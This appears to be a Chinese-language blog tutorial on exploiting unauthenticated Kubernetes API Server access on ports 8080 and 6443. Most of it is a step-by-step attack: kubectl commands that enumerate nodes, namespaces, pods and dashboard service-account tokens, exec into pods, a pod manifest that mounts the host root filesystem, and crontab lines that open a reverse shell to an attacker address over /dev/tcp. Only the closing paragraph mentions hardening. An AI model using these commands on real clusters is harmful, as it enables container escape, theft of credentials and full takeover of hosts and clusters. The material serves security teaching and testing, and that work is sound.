文章前言
k8s的Master节点上会暴露kube-apiserver,默认情况下会开启以下两个HTTP端口:
A:Localhost Port
-
HTTP服务
-
主机访问受保护
-
在HTTP中没有认证和授权检查
-
默认端口8080,修改标识–insecure-port
-
默认IP是本地主机,修改标识—insecure-bind-address
B:Secure Port
-
使用基于策略的授权方式
-
认证方式,令牌文件或者客户端证书
-
默认端口6443,修改标识—secure-port
-
默认IP是首个非本地主机的网络接口,修改标识—bind-address
-
HTTPS服务。设置证书和秘钥的标识,–tls-cert-file,–tls-private-key-file
以上两个端口主要存在以下两类安全风险:
-
开发者使用8080端口并将其暴露在公网上,攻击者就可以通过该端口的API直接对集群下发指令
-
运维人员将\\”system:anonymous\\”用户绑定到\\”cluster-admin\\”用户组,使匿名用户可以通过6443端口以管理员权限向集群内部下发指令
漏洞检测
在浏览器中访问以下URL:
#格式说明
http://ip:port/
#使用实例
http://192.168.17.144:8080/
返回以上信息说明存在K8s API Server未授权访问漏洞~
漏洞利用
利用方式按严重程度可分为以下两种攻击类型:
-
通过利用kubectl客户端调用Secure Port接口去控制已经创建好的容器
-
通过创建一个自定义的容器将系统根目录的文件挂在到/mnt目录,之后通过修改/mnt/etc/crontab来影响宿主机的crontab,通过反弹Shell拿到宿主机的权限
容器管理
Step 1:获取目标机器的信息
#格式说明
kubectl -s ip:port get nodes
#执行实例
kubectl -s 192.168.17.144:8080 get nodes
备注说明:如果出现\\”Error from server (NotFound): the server could not find the requested resource\\”报错,可能是因为Kubectl客户端和K8s的Server端版本不相同导致的需要进行降级操作,此时需要将版本降低到和目标主机版本一致即可
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.8.7/bin/linux/amd64/kubectl
chmod 777 kubectl
mv /usr/bin/kubectl /usr/bin/kubectl.bak
mv kubectl /usr/bin/kubectl
Step 2:获取命名空间
kubectl -s 192.168.17.144:8080 get namespace
Step 3:获取某一命名空间下的Pod列表
kubectl -s 192.168.17.144:8080 get pod -n default
Step 4:执行以下命令接管pod,可以看到下方返回的提示是\\”pod nginx does not have a host assigned\\”,这是由于pod未指定host所致
#格式说明
kubectl -s ip:port --namespace=default exec -it dockername bash
#执行实例
kubectl -s 192.168.17.144:8080 -n default exec -it nginx /bin/sh
nginx的yaml文件如下:
apiVersion: v1
kind: Pod
metadata:
name: nginx
spec:
containers:
- image: nginx:alpine
name: container-0
resources:
limits:
cpu: 100m
memory: 200Mi
requests:
cpu: 100m
memory: 200Mi
imagePullSecrets:
- name: default-secret
如果幸运的化我们可以找到恰当的Pod并通过信息收集以及逃逸获取宿主机的权限,之后控制节点以及整个集群~
反弹shell
Web Dashboard
Step 1:查看当前Namespace确定命名空间有哪些
kubectl -s 192.168.17.144:8080 get namespaces
Step 2:查看\\”kubernetes-dashboard\\”命名空间下pod与service的详细状态
kubectl -s 192.168.17.144:8080 get pods,svc -n kubernetes-dashboard -o wide
Step 3:查看Serviceaccount和Secrets
kubectl -s 192.168.17.144:8080 get sa,secrets -n kubernetes-dashboard
Step 4:查看token,在这里我们要根据上一步的输出进行多项service-account-token的查看,因为部分会应权限而导致操作有限
kubectl -s 192.168.17.144:8080 describe secrets admin-myuser-token-jcj9d -n kubernetes-dashboard
Step 5:尝试登录DashBoard
Step 6:创建一个pod,并将本地根目录挂载到pod的/mnt目录中
apiVersion: v1
kind: Pod
metadata:
name: myapp
spec:
containers:
- image: nginx
name: container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
Step 7:之后可以看到创建的myapp Pod
Step 8:之后进入挂载的/mnt目录中,就是master节点的对应目录了
Step 9:之后写计划任务
echo -e \\\"* * * * * root bash -i >& /dev/tcp/192.168.17.158/4444 0>&1\\\\n\\\" >> /mnt/etc/crontab
Step 10:成功反弹shell
Kubectl Client
Step 1:新建myapp2.yaml文件
apiVersion: v1
kind: Pod
metadata:
name: myapp2
spec:
containers:
- image: nginx
name: container0
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
Step 2:创建容器
kubectl -s 192.168.17.144:8080 create -f myapp2.yaml
Step 3:查看容器状态
kubectl -s 192.168.17.144:8080 get pod -n default
Step 4:进入容器(由于上面迟迟处于pending状态,也许时内存问题,这里不再过多赘述,直接向下写流程)
kubectl -s 192.168.17.144:8080 --namespace=default exec -it myapp2 bash
Step 5:写计划任务
echo -e \\\"* * * * * root bash -i >& /dev/tcp/x.x.x.x/8888 0>&1\\\\n\\\" >> /mnt/etc/crontab
Step 6:成功获取shell
文末小结
本篇文章介绍了Kubernetes API Server未授权访问的漏洞利用方法,在实际应用中我们需要注意对API Server的访问控制和安全加固,确保Kubernetes集群的安全性,同时也需要及时关注漏洞信息和安全通告,采取相应的修复措施,加强对Kubernetes集群的管理和维护。
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34094.html